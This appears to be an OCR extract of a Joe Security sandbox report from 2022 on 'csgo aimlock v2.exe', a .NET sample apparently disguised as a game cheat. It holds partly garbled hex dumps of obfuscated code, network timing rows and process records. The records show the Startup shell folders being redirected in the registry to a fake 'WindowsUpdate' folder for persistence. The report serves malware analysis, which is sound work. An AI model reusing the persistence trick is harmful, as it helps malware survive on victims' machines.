Data Ascii: &:{~ e:7{8/XLE8 cX4(+08 909({8 888 8 ]:8 :8 818

Data Raw: 00 00 20 00 00 00 1f 40 03 06 00 17 ef 28 04 00 09 58 7e 02 00 00 00 30 38 02 00 00 fa 15 fe 02 00 00 00 00
3800 00 00 11 00 00 00 05 00 00 00 02 45 00 00 Oc fe 00 00 00 00 38 00 00 Oe fe 00 00 00 01 20 30 74 12 5d 28 05 2b
11 00 00 01 00 00 00 68 00 03 30 13 00 00 00 2a 04 00 04 d6 7d 0a 00 01 b5 28 02 Of 02 06 00 06 4b 28 03 00 00 00 01
3816 00 00 00 06 3a 0a 00 01 b4 28 02 0f 02 06 00 13 77 28 04 00 08 3a 7e 53 5d 09 89 28 05 2b e2 00 00 00 2a 04 00
04 d5 7d 0a 00 01 b2 28 02 0f 02 06 00 06 4b 28 03 00 00 00 01 38 16 00 00 00 06 3a 0a 00 01 b1 28 02 0f 02 06 00 13
77 28 04 00 08 3a 7e 6e 24 19 75 28 05 2b e2 00 00 00 2a 04 00 04 d4 7d 0a 00 01 b0 28 02 0f 02 06 00 06 4b 28 03 00
00 00 01 38 16 00 00 00 06 3a 0a 00 01 af 28 02 Of 02 06 00 13 77 28 04

Data Ascii: @(X~088E8 0t](+h0*}(K(8:(W(:~S](+*}(K (8:W(:~n$u(+*}(K(8: (w(

Data Raw: 1d 20 00 10 06 00 17 ab 28 04 00 09 47 7e 05 03 04 09 11 ff ff f9 7c 38 00 00 00 Oa 20 03 10 01 00 00 2e 74
06 00 17 93 28 04 00 09 41 7e Oa 11 06 00 17 8f 28 04 00 09 40 7e 03 ff ff 19 a4 38 00 00 00 1b 20 26 ff ff 19 af 3a 04 00
07 f9 7b 04 00 07 df 7e 00 00 00 Of 20 00 00 02 2¢ 38 ff ff f9 c8 38 00 00 00 2b 20 26 ff ff f9 d3 3a 04 00 07 ¢9 7b 04 00 07
df 7e 00 00 00 39 20 00 00 01 d1 3f 16 03 11 ff ff f9 ef 38 00 00 00 34 20 00 00 02 62 3¢ 16 02 11 7a 06 00 07 52 73 06
00 17 27 28 04 00 09 26 7e 61 04 00 07 fe 7b 04 00 07 df 7e 61 07 c6 de 1f 20 62 00 00 00 05 20 60 9c 2c fe 20 ff ff fc 99
38 02 10 15 ff ff fd 35 38 ff ff fc c4 3c 16 02 11 ff ff fa 42 38 00 00 00 10 20 00 00 02 b5 38 ff ff fa 51 38 00 00 00 07 20 00
00 00 5a 38 ff ff fa 60 38 00 00 00

Data Ascii: (G~|8 .i(A~(@~8 &:{~ 88+ &{~9 784 b<zRs'(&-a{~a b *, 858<B8 8Q8 Z8'8
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Timestamp transferred Direction
2022-05-23 16:46:57 UTC 1483 IN
2022-05-23 16:46:57 UTC 1499 IN
2022-05-23 16:46:57 UTC 1515 IN
2022-05-23 16:46:57 UTC 1531 IN
2022-05-23 16:46:57 UTC 1547 IN
2022-05-23 16:46:57 UTC 1563 IN
2022-05-23 16:46:57 UTC 1579 IN
2022-05-23 16:46:57 UTC 1595 IN
Statistics

Behavior

Copyright Joe Security LLC 2022

Data

Data Raw: 7b 04 00 07 df 7e 00 00 00 04 20 00 00 01 dO 3a 06 00 13 c3 28 04 00 08 4d 7e 00 00 00 00 00 38 00 00 00 05
00 00 00 01 45 00 03 Oc fe 00 00 00 04 38 00 00 00 00 20 26 00 00 00 Of 39 04 00 08 01 7b 04 00 07 df 7e 00 00 00 00

20 00 00 ff ff ff 4f 38 00 00 00 02 20 00 00 03 10 38 ff ff ff 5e 38 00 00 00 01 20 26 ff ff ff 69 39 04 00 08 35 7b 04 00 07 df
7e 00 00 00 00 20 08 13 Oa 00 00 46 73 ff f ff 84 38 00 00 00 03 20 00 00 03 46 38 00 00 00 00 38 00 00 00 3a 3a 06 11
ff ff ff 9f 38 00 00 00 00 20 26 ff ff ff aa 39 04 00 07 €3 7b 04 00 07 df 7e 00 00 00 00 20 00 00 00 3a dd 00 00 00 00 38 26
00 00 00 45 dd 00 00 00 00 38 06 00 05 6f 28 00 00 Oc 00 20 00 00 00 00 5a 38 00 00 00 05 00 00 03 9a 00 00 00 85 00
00 03 9b 00 00 00 94 00 00 00 5f 00 00 00 06 45

Data Ascii: {~ :(M~8E8 &9{~ 08 8"8 &i95{~ Fs8 F88::8 &9{~ :8&E80( Z8_E

Data Raw: 00 00 19 28 06 00 13 af 28 04 00 08 48 7e 2a 64 83 70 20 06 00 13 af 28 04 00 08 48 7e 2a 64 82 c6 20 ff ff fe
aa 38 04 00 03 c9 80 2b 00 00 18 28 06 00 13 af 28 04 00 08 48 7e 2a 64 83 ec 20 06 00 13 af 28 04 00 08 48 7e 2a 64
82 6 20 ff ff fe 05 38 00 00 00 09 20 04 00 03 c4 80 2b 00 00 17 28 06 00 13 af 28 04 00 08 48 7e 2a 64 83 53 20 06 00
13 af 28 04 00 08 48 7e 2a 64 82 c6 20 ff ff fe 37 38 00 00 00 00 20 26 ff ff fe 42 3a 04 00 08 0d 7b 04 00 07 df 7e 00 00
00 00 20 04 00 03 c2 80 2b 00 00 16 28 06 00 13 af 28 04 00 08 48 7e 2a 64 83 1e 20 06 00 13 af 28 04 00 08 48 7e 2a
64 82 c6 20 ff ff fe 7e 38 00 00 00 05 20 26 ff ff fe 89 39 04 00 07 d8 7b 04 00 07 df 7e 00 00 00 07 20 04 00 03 c1 80 2b
00 00 15 28 06 00 13 af 28 04 00 08 48 7e 2a 64 82 f1

Data Ascii: (H~*dp (H~*d 8+((H~*d (H~*d 8 +((H~*dS (H~*d 78 &B:{~ +((H~*d (H~*d ~8 &9{~ +((H~*d

Data Raw: 92 b7 20 ff ff fb 55 38 00 00 00 15 20 00 00 00 1f 38 ff f fb 64 38 00 00 00 10 20 ff ff fd aa 38 ff ff fe fe 38 01 13
06 00 03 5¢ 28 0a 00 00 38 28 ff ff fb 84 38 00 00 00 19 20 26 ff ff fb 8f 3a 04 00 07 f2 7b 04 00 07 df 7e 00 00 00 11 20 ff
ff fd ca 39 0d 11 ff ff fb aa 38 00 00 00 1c 20 00 00 01 41 38 ff ff fb b5 38 00 10 Oe fe 00 00 00 1b 20 ff ff fe 03 39 Ob 11 ff
f fe dc 38 00 13 06 00 15 €7 28 04 00 08 d6 7e 05 12 02 11 04 00 03 52 7b 03 11 2a 12 11 ff f fe 4f 38 06 00 03 5d 28 Oc
1101 11 ff ff ff d8 38 Oc 13 06 00 03 60 28 06 00 03 5f 28 05 ff ff fc 0d 38 00 00 00 Oe 20 01 13 06 00 03 5¢ 28 06 00 03
5a 28 ff ff fc 23 38 00 00 00 11 20 26 ff ff fc 2 39 04 00 08 04 7b 04 00 07 df 7e 00 00 00 Ob 20 ff f ff 8b 39 Oe 11 ff ff fc
49 38 00 00 00

Data Ascii: U8 808 88\(8(8 &:{~ 98 A88 98(~R{*08](8'(_(8 \(Z(#8 &.9{- 918

Data Raw: 11 20 01 13 02 00 00 10 a5 06 00 15 3b 28 04 00 08 ab 7e 17 16 00 12 06 00 02 98 28 06 00 02 99 28 02 00
00 79 20 06 00 13 af 28 04 00 08 48 7e 2a 64 92 f3 20 06 00 13 af 28 04 00 08 48 7e 2a 64 90 8a 20 ff ff fd 4a 38 00 00
00 0e 20 09 13 01 fe c0 00 00 17 20 01 11 7a Oa 00 01 2b 73 06 00 13 af 28 04 00 08 48 7e 2a 64 9d 98 20 00 00 00 f5 38
02 13 01 fe c0 00 00 22 20 01 11 ff ff fd 84 38 00 00 00 00 20 26 ff f fd 8f 3a 04 00 08 11 7b 04 00 07 df 7e 00 00 00 00
2006 13 01 fe cO 00 00 9a 20 01 11 7a 0a 00 01 2b 73 06 00 13 af 28 04 00 08 48 7e 2a 64 9c c9 20 ff ff fd c3 38 00 00
00 Oc 20 26 ff ff fd ce 3a 04 00 08 06 7b 04 00 07 df 7e 00 00 00 04 20 ff ff fe b2 39 07 11 ff ff fd e9 38 00 00 00 04 20 26
ff f fd f4 39 04 00 07 eb 7b 04 00 07 df 7e 00 00

Data Ascii: ;(~((y (H~*d (H~*d J8 z+s(H~*d 8" 8 &{~ z+s(H~*d 8 &:{~ 98 &9{~

Data Raw: 7b 04 00 07 df 7e 00 00 00 01 20 06 00 13 77 28 04 00 08 3a 7e ff ff ff 61 38 02 13 59 01 11 48 1b b3 8d 20 ff
ff ff 4e 38 00 00 00 05 20 26 ff ff ff 59 39 04 00 07 €9 7b 04 00 07 df 7e 00 00 00 05 20 04 00 03 74 80 58 66 65 65 66 65
66 66 65 66 65 66 59 02 11 58 06 46 59 8 20 01 11 04 00 03 74 7e 2a 00 00 00 01 38 04 00 03 6e 80 60 10 1f 04 00 03
6e 7e ff ff ff a1 38 00 00 00 03 20 06 00 13 73 28 04 00 08 39 7e ff ff ff b5 38 00 00 00 00 20 26 ff ff ff cO 3a 04 00 08 1d
7b 04 00 07 df 7e 00 00 00 00 20 04 00 03 71 80 0a 00 01 18 73 00 00 00 3d 38 00 00 00 54 00 00 00 2e 00 00 00 a4 00
00 00 95 00 00 00 cd 00 00 00 42 00 00 00 06 45 00 00 Oc fe 00 00 00 00 38 00 00 Oe fe 00 00 00 04 20 4c Ob Oc 9f 28 05
2b 11 00 00 2b 00 00 01 29 00 04 30 13 00 2a 06 00

Data Ascii: {~ w(:~a8YH N8 &Y9{~ tXfeefeffefefYXFY t~*8n'n~8 s(9~8 &:{~ qs=8T.BE8 L(++)0*

Data Raw: 00 00 02 20 26 ff ff ff bb 3a 04 00 08 2c 7b 04 00 07 df 7e 00 00 00 08 20 02 13 16 00 00 00 4b 38 00 00 00 88
00 00 00 05 00 00 01 58 00 00 01 d2 00 00 01 59 00 00 01 09 00 00 01 14 00 00 00 27 00 00 00 50 00 00 00 09 45 00 05
0c fe 00 00 00 00 38 00 05 Oe fe 00 00 00 05 20 64 5f 5d fc 28 05 2b 11 00 00 2f 00 00 02 21 00 05 30 1b 00 00 00 00 00
0000 12 00 00 03 44 00 00 01 34 00 00 02 10 00 00 00 02 01 00 00 16 00 00 00 Ob 00 00 03 2a 00 00 00 59 00 00 02 d1
00 00 00 00 01 00 00 16 00 00 00 €7 00 00 00 eb 00 00 00 12 00 00 00 d9 00 00 00 00 00 00 4c 41 00 ff ff fc 89 38 00 00
00 00 20 26 ff ff fc 94 39 04 00 07 dc 7b 04 00 07 df 7e 00 00 00 00 20 05 13 04 00 03 Ob 7b 02 ff ff fc b0 38 00 00 00 06
20 dc 00 00 00 00 38 06 00 14 c3 28 04 00 08 8d 7e 03 12

Data Ascii: &:,{~ K8XY'PES d_](+/!0D4*YLAS &9{~ {8 8(~

Data Raw: 11 ff ff f9 37 38 00 00 00 09 20 26 ff ff f9 42 3a 04 00 07 e3 7b 04 00 07 df 7e 00 00 00 17 20 06 13 58 28 1f 06
11 7a 0a 00 00 ab 73 ff ff f9 63 38 00 00 00 1f 20 20 13 01 fe 16 06 00 00 ec 28 05 11 04 00 02 eb 7b 01 11 04 00 03 64
7e ff ff f9 85 38 00 00 00 32 20 ff ff fc €0 3a 29 11 ff ff fc 90 38 03 13 06 00 00 fO 28 40 1f 00 00 30 00 20 15 11 Ob 11 04
00 02 ea 7b 01 11 04 00 03 65 7e ff ff f9 b9 38 00 00 00 2e 20 1b 13 06 00 00 f4 28 04 00 02 eb 7b 01 11 04 00 03 61 7e
7a 0a 00 00 ab 73 ff ff f9 dc 38 00 00 00 Oa 20 Ob 13 01 00 00 05 a5 0a 00 00 32 6f a2 01 00 00 05 8c 58 34 1f 02 11 17
252200 11 16 25 01 00 00 16 8d 18 14 0a 00 00 23 28 06 00 13 af 28 04 00 08 48 7e 2a 64 84 c0 20 Oa 00 00 31 28 06
00 0f b4 28 01 00 00 71 20 ff ff fd ad 38 ff ff

Data Ascii: 78 &B:{~ X(zsc8 ({d~82 :)8(@0 {e~8. ({a~zs8 20X4%%#((H~*d 1((q 8

Data Raw: 01 Oe 00 00 01 de 00 00 01 7d 00 00 00 ac 00 00 00 05 00 00 00 70 00 00 00 3¢ 00 00 00 Ob 45 00 0a Oc fe 00
00 00 d 38 26 ff ff f 5f dd 00 00 00 00 38 01 13 06 00 00 46 28 17 06 00 13 af 28 04 00 08 48 7e 2a 64 97 b5 20 00 2a
02 11 ff ff fe €0 38 00 00 00 00 20 26 ff ff fe eb 3a 04 00 08 2 7b 04 00 07 df 7e 00 00 00 00 20 01 00 00 22 15 fe 05 12 ff
ff ff 07 38 00 00 00 03 20 02 13 Oa 00 00 35 7e ff ff ff 18 38 00 00 00 05 20 02 13 05 11 00 00 02 93 38 07 13 01 fe 00 00
10 00 20 06 00 00 45 28 02 ff ff ff 3a 38 00 00 00 04 20 06 13 Oa 00 00 23 6f 06 00 13 af 28 04 00 08 48 7e 2a 64 97 €8
20 01 11 ff ff ff 5¢ 38 00 00 00 01 20 26 ff ff ff 67 39 04 00 08 00 7b 04 00 07 df 7€ 00 00 00 02 20 00 00 00 55 dd 00 00
00 00 38 26 00 00 00 60 dd ff ff ff ca 38 00

Data Ascii: }p<E8&_8F((H~*d *8 &:.{~ "8 5~8 8 E(:8 #0(H~*d \8 &g9{~ U8&'8
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@ csgo aimlock v2.exe
® cmd.exe
@ conhost.exe

Click to jump to process

System Behavior

Analysis Process: csgo aimlock v2.exe PID: 6268, Parent PID: 3064

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

Registry Activities

Key Path

Key Path

Key Value Modified

Key Path

HKEY_CURRENT_US
ER\Software\Mic
rosoft\Windows\Curren
tVersion\Explorer\Shell
Folders

HKEY_CURRENT_US
ER\Software\Mic
rosoft\Windows\Curren
tVersion\Explorer\User
Shell Folders

Analysis Process: cmd.exe

0

18:46:20

23/05/2022

C:\Users\user\Desktop\csgo aimlock v2.exe
false

"C:\Users\user\Desktop\csgo aimlock v2.exe"
0x10000

4229120 bytes
F14B1FFOA9EBE48F275DFCDF52E3CB6E
true

true

.Net C# or VB.NET

low

Name Type Data

Name Type Old Data

Startup unicode C:\Users\user\AppData\Ro
aming\
Microsoft\Windows\Start

Menu\Programs\Startup

Startup unicode %USERPROFILE%\AppD
ata\Roaming\
Microsoft\Windows\Start

Menu\Programs\Startup

PID: 4888, Parent PID: 6268

Copyright Joe Security LLC 2022

@ timeout.exe

Completion
Completion

New Data Completion
C:\Users\user\AppDat  success or wait
a\Roaming\
Microsoft\Windows\Sta
rt Menu\P
rograms\WindowsUpd
ate

%USERPROFILE%\A
ppData\Roaming\
Microsoft\Windows\Sta
rt Menu\P
rograms\WindowsUpd
ate

success or wait

Count Source Address

Count Source Address

Source
Count Address
1 7FFA4CA703AD
1 7FFA4CA703AD

Symbol

Symbol

Symbol

RegSetValueEx
W

RegSetValueEx
W
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General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

10

18:47:38

23/05/2022

C:\Windows\System32\cmd.exe

false

"C:\Windows\System32\cmd.exe" /c timeout 36
0x7ff602050000

273920 bytes
4E2ACF4F8A396486AB4268C94A6A245F
true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes

Analysis Process: conhost.exe PID: 3140, Parent PID: 4888

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

12

18:47:38

23/05/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff77f440000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

high

Analysis Process: timeout.exe PID: 4176, Parent PID: 4888

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

13

18:47:39

23/05/2022
C:\Windows\System32\timeout.exe

false

timeout 36

0x7ff6fa180000

30720 bytes
EB9A65078396FB5D4E3813BB9198CB18
true

true

C, C++ or other language

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Copyright Joe Security LLC 2022

Options

Completion

Count Source Address

Symbol
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File Path Access Attributes Options Completion Count Source Address Symbol

Disassembly

@ No disassembly
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